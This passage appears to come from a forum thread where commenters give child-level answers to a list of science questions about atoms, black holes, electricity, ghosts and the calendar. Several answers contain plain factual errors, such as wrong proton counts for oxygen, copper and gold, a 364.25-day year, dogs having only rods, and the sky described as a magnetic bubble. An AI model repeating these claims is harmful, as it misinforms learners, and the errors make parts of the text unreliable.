electrons actually want to roll *up* the voltage hills and not down!  Protons are the ones that want to roll down the voltage hills, but they can't because they're stuck in the middle of the atom, so it's only the electrons that flow.", "9) Black holes are objects so massive and dense that not even light can escape them.  \n\nLet's imagine the sun collapsed into a black hole suddenly.  The whole sun would be shrunk down until it could basically fit on top of Central Park in New York City.  At that size, even light that hit its surface would never be able to leave.  On earth, all the light and heat from the sun would go away, but our orbit around it wouldn't change, because the gravity is the same still.\n\nBut now let's head towards the sun.  As you got closer, the pull of the sun on you would become greater and greater.  If you had a platform where the old surface of the sun used to be before it became a black hole, the gravity would be 274 times that on Earth.  If you tried to stand on that platform, you'd be killed instantly by the pressure.  If you had an air tank for breathing, the air at that gravity would crush your body.  But let's suppose you weren't crushed by anything (even yourself) going into the black hole.  What would happen?\n\nSo, now you are falling from the old surface of the sun to the new Central Park surface.  If you look around your start point (old surface), everything would look normal just as you expect.  Earth looks the same, the stars look the same, so on.  At this platform, you leave a clock that you will be able to read from the center of the sun.  Now, you jump off the platform, leaving the clock behind, and fall towards the Central Park sized sun. \n\nHalfway between the platform and the sun's new surface, everything still seems pretty much the same.  You look over at your big clock, and you notice it's about 15% slower than it should be.\n\nNow 86% of the way, you are moving so fast that when you look at the clock, it's now twice as slow as you'd think.  You look at the watch on your hand and for every two seconds it ticks off, your big clock only ticks off one.  and between 50% and 86% it's been getting slower, but now, at 86% its be twice the amount.  And not just the clock but the whole universe!  97% of the way, your big clock (and everything else) is now 4 times slower.  98%, it's now 5 and a half times slower.  99%: 7 times as slow.\n\nAs you get closer, everything, your big clock, the Earth, the universe, gets slower.\n\nAnd then you hit the event horizon, the point of no return.  Now everything in the universe is frozen in time, like a picture.  But even you are frozen in time.  You haven't hit the new surface yet, the actual hard part of the sun.  You are still above it \"falling\" toward it at the event horizon height.  But at this point, you never will hit it.  You would just be stuck above the surface, frozen in place.  And someone looking down at you from Earth would see you frozen in place in the same spot.\n\nPretty nutty, huh?", " > 6) Why is a year 365 days? Why not 366 or 364\n\nWell, in short, because we say it does. To elaborate, we somewhat arbitrarily decided that the time the Earth takes to rotate (a day) is 24 hours. Then we realized that it took us about 365 of these days to completely revolve around the sun (a year).\n\nEDIT to clarify. We obviously didn't decide on how long the day took, we simply observed that time and subdivided it into smaller bits called hours. ", " >  15) Will the human race die?\n\nThere are two answers people are giving, and they're both right.\n\nOne answer is to a different question. \"Will we die soon?\" Maybe. It is possible for us to mess up our planet badly enough that it can't be fixed, and we aren't ready to settle anywhere else just yet. There are enough nuclear bombs to kill *everything* on the planet, not just people!\n\nWe probably won't do that, but there are tons of things that might kill us from space! Think of what an asteroid did to the dinosaurs, and they were bigger and stronger than we are! But we're smarter, and we can build underground fortresses, so we might survive that. We might even prevent it -- attach a rocket to the asteroid and push it to the side so it misses us!\n\nBut as far as we know, the universe itself will eventually die. Every bit of space is expanding, and eventually the atoms in our bodies would be torn apart by space expanding. This is sort of what the big bang was, but it's still happening! Eventually, when stars can't exist anymore because their atoms are too far apart, this is the Heat Death of the universe.\n\nBut that's a long time from now. We don't have to worry about that. We should worry about surviving the next hundred years and global warming. Then we should worry about making sure we can deal with any asteroids that might hit the planet. Then maybe we should make sure we can go to another planet, or at least a far away space station, by the time our sun turns into a Red Giant and swallows the Earth! But that won't happen for about another five billion years. The Sun didn't even exist five billion years ago, and the entire universe is only about 13 billion years, so we have a *long* time to plan for this!\n\nAs far as we know, we still can't do anything about the Heat Death of the universe. But a hundred years ago, we didn't know if we would ever land on the moon, and we have *billions* of years to figure out what to do about this.\n\n >  18) How does electricity work?\n\nOthers have covered the basic idea of what electrons are, but the water analogy is good. See if you can get them a model waterwheel to play with -- I remember toys that let us assemble canals and waterfalls, and play with waves. The positive end of a battery is like a very low point that water goes into, and the negative end is like a high point. A motor is like a waterwheel.\n\nSo how do we get electricity in our houses? Pretend the power company is a pumping station, that takes water from a low pipe and pumps it up to a high pipe. Then both of these pipes run around to everyone's houses, and you can always get a little water to run from the high pipe over a waterwheel (motor) and to the low pipe.\n\nIt's sort of like that. This might be going too far into the analogy.\n\n >  20) Are ghosts real?\n\nProbably not. No one who thinks they've ever seen a ghost has been able to prove it. They weren't necessarily lying, though. Say you had a cat, and say you heard a bump in the night. Was it a ghost? Maybe, but it might also be your cat knocking something off a shelf.\n\nAnd if there's an incredible explanation (a ghost did it!) and a boring one (your cat did it!), it's probably the boring one.\n\nBut not always! That's why science is fun -- if you're careful not to jump to conclusions, you start to find out that the universe is a *really* weird place, even if there are no ghosts. For example, even though there probably aren't any ghosts, lots of people think they've seen them. Why do people do that? But that's an entire other question.\n\n >  27) Why do we have nightmares?\n\nA few people tried to answer this, and they came up with things like \"You have nightmares because you saw something scary during the day, and your subconscious needs to deal with it.\"\n\nBut *why* does your subconscious do that? We don't know! We don't even know why we dream, not really.\n\n >  31) How did atoms get created cause practically they are everywhere.\n\nI think JRandomHacker has the closest answer, but the other part of this is that as far as we can tell, all atoms came from energy.\n\nThe Big Bang didn't really explode, but it *kind of* did. What came out of the Big Bang was energy, space, and time. When the universe started to cool shortly *after* the Big Bang, the first atoms formed from... condensing energy. Sort of like how raindrops form in clouds, but not really, because it takes a *lot* of energy to make an atom. It's like a nuclear bomb in reverse.\n\nBut most atoms that we actually rely on, that we're made of, those were formed inside stars that later exploded. You couldn't be here unless a star exploded.", "10) Most people who were born deaf think in colors and feelings, and people who became deaf because something happened to them can still remember sounds.", "My attempt to answer every question in one sentence: \n\n1) Why do we see the sky when we look up and not the universe? The light from the sun is so bright that we can't see through it to the universe, like we can at night. \n\n2) What are atoms made of? Atoms are made up protons, neutrons and electrons which are all made up of even smaller things like quarks! \n\n3) Why do we have fingernails on our fingertips? Why doesn\u2019t it cover our whole body? Evolution must have had a reason for the fingernails, like protecting our fingers from all the things we could hurt them on. \n\n4) Why did the Big Bang explode? Unfortunately science doesn't have the exact reason for this yet, but there was A LOT of energy crammed into a very tiny space and it needed to go somewhere! \n\n5) Who was the first person on Earth? That's tough to answer, since people didn't appear as humans like we see them now; rather, humans slowly evolved from other forms. \n\n6) Why is a year 365 days? Why not 366 or 364? It takes about that many days for the earth to rotate around the sun. (It's actually about 364.25 days, which is why we add a leap day every 4 years.) \n\n7) Why is there seven days in a week? There is no proven correct answer, but some people think it's because of the original Roman calendar that had 7 days, some attribute it to the 7 planets they were aware of at the time, and some think it was because the bible lists earth's creation as 6 days plus a day of rest. \n\n8) Why do we laugh, smile and cry? These are responses created over time by evolutionary principles to signify to other humans when we're happy (laugh and smile) or are in need of help (cry). \n\n9) What happens when you go in a black hole in space? Other than really bad things from the extreme pressure, we don't know because we haven't experienced it and anything you send in will never come back out due to extreme gravity. \n\n10) What do deaf people hear when they think? Different deaf people hear different things; I've read about some who hear sounds, or their own versions of languages. \n\n11) Why do dogs only see in black and white? They don't only see in black and white, but their limited color vision is because they don't have the color-receptors (receivers) that most humans have. (I have this same problem, and I'm considered color-blind!) \n\n12) Who invented math? Basic math concepts have been around for thousands of years, and it's hard to tell who was first, but we've found examples of very early humans doing basic arithmetic (addition and subtraction). \n\n13) What is the sky? It's the space between the earth and 'space' that we call the \"atmosphere\". \n\n14) Why after you yawn do tears fall out? Yawning causes the muscles in your face to restrict, contract and contort which can sometimes squeeze out a tear or two from your tear glands which are surrounded by those muscles. \n\n15) Will the human race die? Just like all animals, it's possible we'll eventually go extinct, but since we're the smartest animal to ever exist if we go extinct it'll probably be our own fault. \n\n16) Why is the moon gray? It's basically a big rock, just like the ones you find in your backyard! \n\n17) If you lose your tongue, can you still talk? It won't sound like everyone else talking but yes, you can; it'll be very difficult to make anything that isn't a vowel though! \n\n18) How does electricity work? Electrons (charged parts of the atom that move around) can transfer from one atom to another and across certain materials causing the energy to transfer with it. \n\n19) How does a nose smell things? There are smell receptors inside your nose that send that information to your brain for processing. \n\n20) Are ghosts real? No. \n\n21) Who thought of sign language? Sign language is different for different languages and countries but the first version of this was in 1620 by Juan Pablo de Bonet who wrote the first known book that included an alphabet and basic words. \n\n22) Why is there fat in our bodies? Fat stores energy for us to use later, which is why eating food causes us to gain fat. \n\n23) What was the first kind of bird on Earth? Reptiles evolved into other reptiles and some of them even started to grow wings which gave us our first birds! \n\n24) Why does a car need oil? There are a lot of moving parts in a car that are made out of metal which get very hot unless you lubricate them with oil to prevent damage from the heat and rubbing. \n\n25) How come when your feet are cold your tears are still warm? Since your feet are SO FAR from your heart, and don't have a lot of blood vessels, it's hard for your blood to keep them as warm as your tear glands which are in your face next to A LOT of blood. (This is why you'll bleed A LOT if your face gets cut.) \n\n26) Why are there clouds? When there's a lot of moisture in the air, plus two different temperatures in the sky, you get clouds which are similar to the steam you see when hot water is next to colder, room-temperature air. \n\n27) Why do we have nightmares? Scientists don't know the exact reason for this yet, but a lot of times the emotions we're feeling when we go to sleep stay in our brains and are recreated as bad dreams. \n\n28) How do you put the lead in a pencil? It might not look like it, but your pencil is actually two pieces glued together with lead in the middle. \n\n29) How do we get helium if it goes in the air? Some materials in the world (uranium for example) naturally break down (we call that radioactive) and release gases which can contain helium, so we take those gases and separate out the helium for our balloons! \n\n30) Why do we need blood? Blood carries oxygen and other nutrients to the rest of our body so that it can function normally. \n\n31) How did atoms get created cause practically they are everywhere. The big bang theory says that all the atoms in the universe started in one place, then exploded outward creating the universe as we know it today, which is still expanding outward!", "**1) Why do we see the sky when we look up and not the universe?**\n\n* During the day the sun gives us so much light our eyes aren't strong enough to see past it. At night you are looking at the universe near Earth. If you use a telescope you can see more of the universe.\n\n**2) What are atoms made of?**\n\n* Atoms are made of smaller pieces called Electrons, Protons, and Neutrons. The Protons and Neutrons are stuck together in the middle and the Electrons fly around like a cloud.\n\n**3) Why do we have fingernails on our fingertips? Why doesn\u2019t it cover our whole body?**\n\n* We evolved fingernails and toenails to help protect our fingers and toes from getting hurt when we do hard work. Try digging in the sand box using only your finger tips. They will get red and start to hurt.\n\n**4) Why did the Big Bang explode?**\n\n* I'm not sure any of us know *why*... What do you think?\n\n**6) Why is a year 365 days? Why not 366 or 364?**\n\n* One day is the time it takes for the Earth to spin around making one daytime and one nighttime. A year is the amount of time for the Earth to go around the Sun. One year is equal to 365 1/4 days. That is why we have an extra day every 4 years.\n\n**7) Why is there seven days in a week?**\n\n* Check out reply below for better answer\n\n* Because many religions thought the seventh day was important so a seven day week made sense for them.\n\n**8) Why do we laugh, smile and cry?**\n\n* Human Beings are social that means it is important to have families and communities. Sharing feelings like happiness and sadness make us feel closer to our families and communities so they will help protect us.\n\n**9) What happens when you go in a black hole in space?**\n\n* No one knows for sure. Some people think that everything slows down and you get pulled together and squished until you are smaller than a piece of sand.\n\n**10) What do deaf people hear when they think?**\n\n* I'm not sure. Maybe you should write a letter to a deaf person and ask.\n\n**11) Why do dogs only see in black and white?**\n\n* There are 2 different cells in the back of your eyes. Cones that help you see color and Rods that help you see motion and see at night. Dogs only have Rods. This means they have better night vision than you.\n \n**12) Who invented math?**\n\n* No one is sure. Many different people did basic math like if I plant 5 more seeds I'll get 5 more vegetable plants. Certain people made big improvements in math like Albert Einstein but no one person invented math.\n\n**13) What is the sky?**\n\n* The Earth is a big magnet that makes a big bubble around the Earth to protect us. The sky is all the air inside that bubble. If you pour some corn flakes in some water with a magnet and shake it up you'll get some iron on the magnet. Now try to pull some of the iron off the magnet and let it dry. Put the iron on a piece of paper and put the magnet under the paper. Slowly shake the paper. You'll see rings around the magnet like our magnetic bubble around the Earth.\n\n**14) Why after you yawn do tears fall out?**\n\n* Get a mirror and get really close. Use your pointer finger to pull down the bottom of your eye and look at the corner closest to your nose. There should be a little pink thing with a hole in it. That is your tear duct where the tears come out. When you yawn it squeezes your tear duct until tears leak out.\n\n**18) How does electricity work?**\n\n* Look at question 2. Remember those Electrons that float around Atoms? They don't always stay on the same atom. Sometimes they like to move to other atoms. When you rub your feet on carpet you are stealing the electrons from the carpet. When you put your finger on something metal the electrons jump to the metal making a spark. That spark is electricity. Electricity likes metal because it is easier for the electrons to move around it.\n\n**19) How does a nose smell things?**\n\n* Think of your nose as having lots of locks inside. Each smell is a key that only opens one lock. Chocolate opens a really good lock. Smelly gym socks open a really bad lock.\n\n**22) Why is there fat in our bodies?**\n\n* Before there was McDonalds it was hard for people to get enough to eat especially in the Winter. Our bodies had a trick to save food from the Summer as fat so we would have energy in the Winter. Now that we have so much food our bodies have trouble knowing what to do so we have to be smart and eat healthy foods.\n\n**24) Why does a car need oil?**\n\n* Rub your hands together really hard and fast. Did they get hot? That same thing happens in your car engine with all the parts moving really fast. Now put some soap in your hands and rub them again. What happened? Now they are slippery and don't get as hot. The oil in the car works like the soap. It keeps the engine from getting too hot.\n\n**25) How come when your feet are cold your tears are still warm?**\n\n* Your brain is very important. More important than your feet. People can live without feet but they can't live without their brain. To keep your brain safe when it gets really cold, your body can move the heat from your toes to your brain. This makes your feet cold but keeps your brain healthy.\n\n**27) Why do we have nightmares?**\n\n* When our bodies sleep sometimes our brains keep working and make a dream. If you watch a scary movie before bedtime your brain might make a bad dream. So watch silly movies before bed! If you have a nightmare pretend the scary thing is stuck in Jello! Everything is funny in Jello *boing boing boing*\n\n**28) How do you put the lead in a pencil?**\n\n* At pencil factories they take 2 pieces of wood, lay the lead in between, and glue the wood together. Then they paint the wood. Look at a sharpened pencil tip. Can you see 2 different color woods with a straight line in between? That line is where they glued it.\n\n**29) How do we get helium if it goes in the air?**\n\n* Helium is mined from the ground just like oil and gold. We suck it up big tubes and squish it until it turns into a liquid (like steam turning to water). Then we put the liquid helium in big tanks so it can't get in the air unless we let it.\n\n**31) How did atoms get created cause practically they are everywhere.**\n\n* See Below\n\n* I don't know how atoms were first created. Atoms are almost everywhere. Everything you can touch is made of atoms. The only place there are no atoms is space. We call a place with no atoms a *vacuum*. \n\nPlease fact check this. I tried to answer everything potterarchy didn't but it is late and I'm no genius. I will try to edit any answers that people correct.", "Alright, I'm very, *very* late to the party, but I'll tackle a few of these in as ELI5 a manner as I can manage...\n\n---\n\n1) Why do we see the sky when we look up and not the universe?\n\nYou *do* see the universe!  On a clear night, you can see thousands and thousands of lights in the sky.  Most of those are stars, but some are huge galaxies - big clumps of billions and billions of stars - that look like stars to us because they're so far away that all we can see is a little dot of light.  \n\nSometimes you can't see all those things, though.  During the day, all we can see is the sun, because it's so bright that its light scatters all through the air and makes it too hard to see things that don't look as bright.  Big cities cause the same problem at night - all the lights from the city scatter through the air and make it too hard to see stars.\n\n---\n\n2) What are atoms made of?\n\nAtoms are all made of smaller things called protons, neutrons, and electrons.  Atoms are mostly different from each other because of the number of protons they have.  For example, all oxygen atoms have six protons, all copper atoms have twenty-seven protons, and all gold atoms have seventy-two protons.\n\nIt turns out that protons and neutrons and electrons made of even smaller things.  We give those all sorts of fancy names like quarks and leptons.  We don't know yet if we can break those down into even smaller things, or if that's as small as things get.\n\n---\n\n3) Why do we have fingernails on our fingertips? Why doesn\u2019t it cover our whole body?\n\nOur fingertips are really important for touching things and making things.  The bottom side needs to be sensitive so we can feel things as best as we possibly can, but the top side needs protection so they're less likely to get hurt forever if we screw up.  We don't have them over our whole bodies because we work with our fingers more than anything else, so they need that protection the most.\n\n---\n\n4) Why did the Big Bang explode?\n\nEven the smartest people in the world don't know that - but they're trying hard to find out.  :)\n\n---\n\n5) Who was the first person on Earth?\n\nThis is kind of like looking at you as you've grown up and asking what day you stopped being a baby.  You were a baby once, and you're sure not a baby anymore.  But you didn't stay a baby for a couple years and then suddenly grow up all in one day.  You turned from a baby into a kid very slowly.  So picking one specific day when you suddenly turned from a baby into a kid doesn't make very much sense.\n\nWe have the same problem when we look at how we became human beings.  The change we made from \"not human\" into \"human\" was very, very slow and gradual, the same way you changed from \"baby\" into \"kid.\"  We can't really pick one specific time when we suddenly turned into people, so we can't really tell who the first person was.\n\n---\n\n6) Why is a year 365 days? Why not 366 or 364?\n\nA year is just how long it takes for the Earth to make one full trip around the Sun, and there's about 365 days in that trip.  (It's actually a little more than 365 days, which is why sometimes February has an extra day - because we need to put it somewhere!).\n\n---\n\n7) Why is there seven days in a week?\n\nA lot of very old stories about the creation of the world (like the one in the Bible) say that it was made in seven days, so that's usually how we like to divide up our days into little chunks.  Some people didn't always use a seven-day week, though - the ancient Romans used an eight-day week for a while.\n\n---\n\n9) What happens when you go in a black hole in space?\n\nWell, black holes as we know them aren't really holes.  They're just really, really small balls of stuff that are packed really, really tightly.  So the most you can really do is just kind of smack into them and get crushed.\n\nHowever, some black holes could be shaped like rings instead of balls.  If you were really careful, you might be able to travel through the center of that ring.  What would happen if you could come out the other side?  Nobody really knows, but because of the way they bend space, some people think they can form shortcuts to different places in space.  So you could travel through a black hole on one end of the galaxy and come out on the other end of the galaxy, billions of miles away!\n\n---\n\n12) Who invented math?\n\nPeople who do math for a living would tell you that nobody \"invented\" math like we invented the lightbulb or the car - they would say that math has always existed, and that we've just discovered it.  Putting two things together with two more things will always make four things, no matter who tries doing it (or even if there's nobody around to do it at all!).\n\n---\n\n15) Will the human race die?\n\nIt's possible.  We aren't taking very good care of our planet right now, and that doesn't help.  But we're pretty smart and pretty tough.  If we're really in trouble and we know it, we usually do a pretty good job at finding a way out of it.\n\n---\n\n17) If you lose your tongue, can you still talk?\n\nNot the way you talk now, no.  The tongue is what really makes most of the sounds that we use to talk to each other.  Here's an experiment: Try to say the word \"Garfield\" without moving your tongue.  Doesn't work very well, does it?  :P\n\nBut if you really lose your tongue, you can still learn to talk to people in other ways.  You could learn sign language, or just write things down, or have a computer voice sound out words for you.\n\n---\n\n19) How does a nose smell things?\n\nMolecules (bunches of atoms) hit nerves in our nose, and every kind of molecule hits those nerves in a different way, which makes those nerves tell our brain different things.  It's our brain that takes the things our nose-nerves are saying and thinking of them as \"smells,\" and deciding whether they're good smells or bad smells.\n\n---\n\n21) Who thought of sign language?\n\nPeople who can't hear have been using sign language to communicate for a long time.  There have been all sorts of sign languages throughout history, just like spoken languages.\n\n---\n\n22) Why is there fat in our bodies?\n\nFat is a special kind of molecule that your body can break down and get a lot of energy from.  Our bodies basically use fat as energy storage - turning energy into fat when we have more energy in our bodies than we need, then turning that fat back into energy when we need it again.\n\n---\n\n24) Why does a car need oil?\n\nHave you ever been on a slip'n'slide, or gone down a water slide?  Those wouldn't work as well if they weren't wet, would they?  They would probably hurt pretty badly.  That's because there's a layer of water between you and the slide.  You're not really sliding on the slide - you're sliding on a thin layer of water.  Water is slippery, so that makes it a lot easier to slide down.\n\nWell, cars have a lot of moving parts.  Metal rubs against metal the same way you rub against a slide.  If all you have is metal rubbing against metal, it doesn't work very well.  In fact, that can really hurt your car.  So you put oil in it because oil is really slippery, and it helps the metal parts to slide really easily the same way water helps you to slide down a water slide.\n\n---\n\n29) How do we get helium if it goes in the air?\n\nMost of the helium on Earth exists because of larger atoms slowly breaking down into smaller ones (like helium).  Large pockets of gas exist beneath the earth's crust, and some of this is helium - so we basically drill for it like we drill for oil.\n\nHowever, you're right - if we don't trap helium, it goes in the air.  And because it's lighter than the rest of our air, it goes so high up that we can't easily reach it and get it back!  So one day, we may run out of helium!\n\n---\n\n30) Why do we need blood?\n\nBlood vessels (arteries, veins, and capillaries) are like the highways of our body, and our blood is like our cars and trucks.  Blood is designed to move oxygen, nutrients, energy, and other things we need to live all around the whole body.", "As a physicist I will try to answer the science ones in the best way for a 5 year old to understand.\n\n2) **What are atoms made of?**\n\nAtoms are made up of smaller little pieces. These pieces are called protons, electrons, and neutrons. What makes different types of atoms (for example hydrogen, helium, carbon, and gold) is the way these little pieces are put together. The electrons have something that we humans have decided to give the name \"negative charge\", this really doesn't mean anything all too special as long as you understand that \"opposites attract, and likes repel\". This means that two electrons will repel because they are \"alike\" as they would both have \"negative charge\". So what is an electron attracted to? The answer to that is a proton, which is positively charged. The protons are connected with neutrons and this forms what is called the nucleus. Electrons orbit the nucleus and this is what we call an atom. You can go another step deeper and ask, \"what are these protons, electrons, and neutrons made of?\" Electrons are what we call \"fundamental\" as they are (seemingly) made of nothing. Protons and neutrons however are made of other even smaller pieces, and these pieces, like the electron seem to be made of nothing else. \n\n4) **Why did the big bang explode?**\n\nAh yes, Einstein's general relativity, my area of study. This can be a very difficult subject to understand, however it is in my opinion that this is the most beautiful part of physics. I shall try to impart some of this to you through my explanation (which lucky for you will have no math involved!). \n\nWe (physicists) try to explain how the universe works using math. This is because math gives us a variety of different tools that are very reliable and can be used over and over again and will reproduce the same results. One of these tools is called a metric, and it turns out it is quite handy at telling us how the universe works. Four gentlemen by the names of Friedmann, Lema\u00eetre, Robertson, and Walker created a very special metric which describes the universe we live in. When these very difficult mathematical equations are solved it turns out that something strange occurred at the beginning of time. When the time was zero, the beginning, all the energy in the universe was confined to one little point, and there was a lot of force that kept this energy together. But as time continued these forces weakened, and the energy was less and less contained. The only way for this to happen is for either the amount of energy to be made less, or for the space available to for the energy to be in to get bigger. As physicists we have problems with energy disappearing (Conservation of Energy for those of you  who are 12 out there), so we decided that the container (the universe) had to get bigger. I understand that this can be a little hard to believe, I mean how can we be so sure? We have had lots and lots of scientists do a lot of experiments and it turns out that the answers they get from their experiments agree with the math these four men did, and so we have to accept that this is the way the universe works. \n\n18) **How does electricity work?**\n\nRemember when we were talking about what an atom was made up of? We had these little pieces of stuff called electrons, and they had something we called \"negative charge\". It turns out that if you have a bunch of electrons built up they will act as one giant electron, and this will cause a huge repulsive force on other electrons (remember that \"opposites attract, likes repel\"). So these electrons will start to move, and then more and more electrons will start to move. When all these electrons start to move you have something called a current, this current is what we call electricity.\n\n(For those of you who know more science than a 5 year-old you will likely spot a lot of errors in this...and you will also realize explaining electricity to a 5 year-old is very complicated. Hell, it's hard to explain it to a college kid.)\n\n31) **How did atoms get created cause practically they are everywhere?**\n\nThis is a very interesting question, and is very related to the earlier big bang question. After the big bang the universe was getting bigger and bigger, but the energy was still very packed together. It was very very hot. After a while the little pieces called the neutrons and the protons formed, but they didn't stick together yet. After only a few minutes after the big bang however the universe was big enough, and the energy spread out enough, and the universe cool enough for the neutrons and protons to come together and make the nucleus we talked about in the first question. After an even longer period of time the universe got bigger, more spread out, and cooler still and then electrons hooked up with the nucleus to make the first atoms. These atoms were only the first few elements though. For other things to be made (like gold, silver, and uranium), stars were created. Stars can take atoms and smash them together and make other atoms. Stars an make all the types of atoms up to Iron, at which point they quit because anything bigger than Iron turns out to be too hard for a star to make. So what does the star do? It blows up. When the star blows up so much energy is releases that really big atoms like gold can be made, and this is how all the gold in the universe was made... through stars exploding! In fact all the atoms you are made of used to be in a star! All the gold in your parent's jewelry had a star explode, just so it could be made. Now when a star explodes it is a HUGE explosion and the stuff gets spread out everywhere, and some lands on asteroids and other things. This is how it gets all over the place.", "**6) Why is a year 365 days? Why not 366 or 364?**\n\nA year hasn't always been 365 days. You know how trees have a ring inside that shows how many years it's been growing? Well, coral does the same sort of thing, except it puts down a new layer every day. Scientists have counted the layers in very old coral and found out that in the past, a year was over 400 days long.\n\nThe length of the day is determined by the speed at which the Earth rotates, and because of the moon getting slightly further away from us, and the effect it has on the tides, the days are getting longer. Only by a couple of milliseconds per century, so you won't actually notice this, but over several million years these milliseconds add up.\n\nBecause the days are getting longer, but the amount of time it takes the earth to go round the sun (a year) stays the same, the number of days in a year will get fewer and fewer.\n\n**24) Why does a car need oil?**\n\nIf you rub the palm of your hand against the tabletop, very fast, for as long as you can, you will eventually find that your hand gets hotter and hotter, and it becomes harder and harder to move it against the tabletop. It gets dry, and sticky. Now, if you squirt some oil on your hand, you'll find it a lot easier to move it against the desk. Car engines are full of metal parts that move against other metal parts, and if there was no oil then these metal parts would all get too hot and stick together.", "No one seems to have a good explanation for question 20, so:\n\n > 20) Are ghosts real?\n\nNo. Your next question is probably \"So why do people believe in ghosts?\"\n\nThere's this cool thing that makes humans really good at spotting patterns, especially for things like faces and language. \n\nIf I draw two o's and an underscore, it will look like a face to you: O_O (quite a scared face, as if you had just seen a ghost!). \n\nIf I say \"Hooloo, noose too moot yoo\" you will get that I am trying to say \"Hello, nice to meet you\" in a strange accent.\n\nThis is because it's useful for humans to recognise other humans and words, and when we still lived in forests, we used it to recognise a tiger behind a whole bunch of leaves so we could run away before it got too close, or to hear people speaking or calling out from far away.\n\nNow, we don't live in forests anymore, but we still have this skill to recognise tigers behind leaves, and faces, and words.\n\nSometimes, you will be in a dark room and you'll be scared because you think there's a man in a corner with a dark coat, and when you turn on the light, you realise it's just a coat hanger with a coat on it.\n\nThis is because when it's dark and you're scared, you may think there's a man in the corner! Sometimes you will hear weird noises in the house you can't explain, and you might think it's invisible people or voices, even though it's just boards creaking, or the wind.\n\nSome people will even pretend they are ghosts or have seen ghosts to seem cool, but they are just making up stories so other people will think they are interesting.\n\nThis is why people believe in ghosts, and will say they have actually seen some, even though they don't exist.\n", "I'll do a few:\n\n**1) Why do we see the sky when we look up and not the universe?**\n\nWhen light travels through the air it sometimes hits the air molecules and scatters in a random direction. This means that when we look up during the day we don't only see light coming straight from the stars and the Sun, we also see all the light that's been scattered around randomly. That way the light from the Sun appears to be coming from all directions instead of from only straight from the Sun. The Sun is so bright that its light drowns out all the light from the other stars and galaxies and we can't see them during the day, the same way a light bulb that's turned on at night lights up a room, but during a sunny day you'd hardly notice it was on at all. The reason the sky is blue is because different colours of light scatter by different amounts and blue light scatters the most, meaning there is far more blue light coming from all directions than other colours. Red light scatters the least. This is the same reason rainbows go from red to blue.\n\n----------\n\n**2) What are atoms made of?**\nAtoms are made of mostly empty space. In the very centre of an atom there is a little bundle of protons and neutrons called the nucleus. Orbiting in the space around these (sort of like how the Moon orbits the Earth) there are electrons. There are generally the same amount of electrons spinning around the nucleus as there are protons in it. This is because electrons are negatively charged and protons are positively charged. Like magnets with north and south poles, opposite charges attract and similar charges repel. Electrons always want to go towards the protons in the middle but they can't because they repel each other and if they all tried to go into the centre they're push each other back out again. Protons don't fly apart from each other because the neutrons hold them together.\n\n----------\n\n**6) Why is a year 365 days? Why not 366 or 364?**\nIt depends on the distance between the Earth and the Sun and how much mass each of them have. If we were a little further away the the Sun the year would be longer and if we were closer it would be shorter. Also if either the Sun or the Earth had more mass then the year would also be shorter.\n\n-------\n\n**24) Why does a car need oil?**\nRub the tips of your fingers together. Now, put a drop of oil on one of your fingers and do it again. See how much easier it is to slide them off each other now? Well engines have lots and lots of moving bits and the need to be able to rub off each other like that without catching, heating up too much or getting damaged or scratched. The oil allows all the moving bits to slide off each other without anything going wrong\n\n--------\n\n**30) Why do we need blood?**\nBlood is the delivery service of the body. When you eat something it doesn't just disappear in your stomach and fill you up. All the nutrients that's in the food needs to make it all around your body to help it grow and keep going. The blood delivers all this stuff around every corner of your body.", "**2) What are atoms made of?**\n\nAtoms are made of *even smaller* particles called protons, neutrons and electrons. Protons attract electrons (like magnets), and it is this which causes chemical reactions to happen, gives us electricity, and makes objects the way they are - hard, soft, magnetic etc. Protons and neutrons are made of even smaller things called quarks. We've not discovered anything inside an atom that is smaller than a quark, though.\n\n**4) Why did the Big Bang explode?**\n\nWe don't know. We may never know exactly, but some scientists think they're getting pretty close to the answer. Some people think a god did it, but there is no way they can *know* that a god did it - they don't have evidence for it. The important thing is for scientists to keep looking and not give up. Eventually, we might have an answer that *does* have evidence to support it.\n\n\n**5) Who was the first person on Earth?**\n\nIt's impossible to say. It's probably impossible to know, as well, because evolution is a very gradual process. There is no exact point at which some hominids (apes) became early humans, and early humans became modern humans.\n\n**6) Why is a year 365 days? Why not 366 or 364?**\n\nBecause this is the number of days it takes for the Earth to make a full trip around the sun. However, it's not *exactly* 365 - it's actually about 365 and a quarter, which is why we have an extra day in February every 4 years, called a leap year.\n\n**7) Why is there seven days in a week?**\n\nA lot of ancient cultures placed special religious or even magical significance on every 7th day. For example, you probably know the Genesis creation myth - god made the world in 6 days and then rested on the 7th. It is because of stories like this that we started separating days into groups of 7. In other cultures and countries though over history, there have been different weeks such as 10 days and 5 day weeks.\n\n**10) What do deaf people hear when they think?**\n\nYou would have to ask a deaf person!\n\n**12) Who invented math?**\n\nI don't think we can really say who invented mathematics - maths is just about finding patterns in the world - every time you spot a pattern, tell the time, notice a shape, sort things into groups, judging how hard to throw something, count money or anything, you are doing maths! Even some animals can spot some patterns, so in their own simple way, they are doing maths, too.\n\n**15) Will the human race die?**\n\nYes. Eventually everything will die, according to current scientific understanding. But that won't be for a *very, very, very, very, very, very, very, very* long time, long after you are dead. It is a sad thought that eventually everything will die (because everything will get too cold), but what's important is that we make our own lives and the lives of future generations as worthwhile and happy as possible. Just because the human race will eventually die does not make love any less special, food any less delicious, friendship any less important, or knowledge any less valuable.\n\n\n**18) How does electricity work?**\n\nRemember those really small things inside atoms called electrons? Well, they don't have to stick around one atom. They can actually move like water from atom to atom. This is called an electrical current.\n\n**20) Are ghosts real?**\n\nThere is no good scientific evidence that ghosts are real. This doesn't mean they are not real, but since there's no good evidence that there is, it's best to say they're probably not. It's just like there probably aren't flying pigs - somewhere in the world, hidden away from humans, there might be a flying pig. However, we've got no evidence for it, so it's best to say there probably isn't a flying pig. Always look for evidence to back-up every claim someone makes! And if something happens that you can't explain (like a strange sound, or something isn't where you left it), don't say \u2018it's a ghost!\u2019. All that's happened is that you haven't found an answer yet - keep looking for the right answer! Don't give up and just say it must be a ghost.\n\n**23) What was the first kind of bird on Earth?**\n\nJust like the question about who was the first human, we can't say who was the first bird!\n\n**31) How did atoms get created cause practically they are everywhere?**\n\nThe current theory is that during an event called the big bang, everything was made and quickly spread out across the universe. Back then, the universe was pretty simple, made of just floating particles and atoms called hydrogen atoms, which are the simplest kind of atoms. Then later, in the hot centre of the stars, the bigger atoms were made by heating the hydrogen and causing them to join together. Eventually, stars died and exploded, scattering those atoms across the universe. Those atoms eventually collected together into planets, and all life. This is why the scientist and writer Carl Sagan said that \u2018We are all made of star stuff\u2019. So to recap, small atoms were made in the big bang, and big atoms were made by joining the small 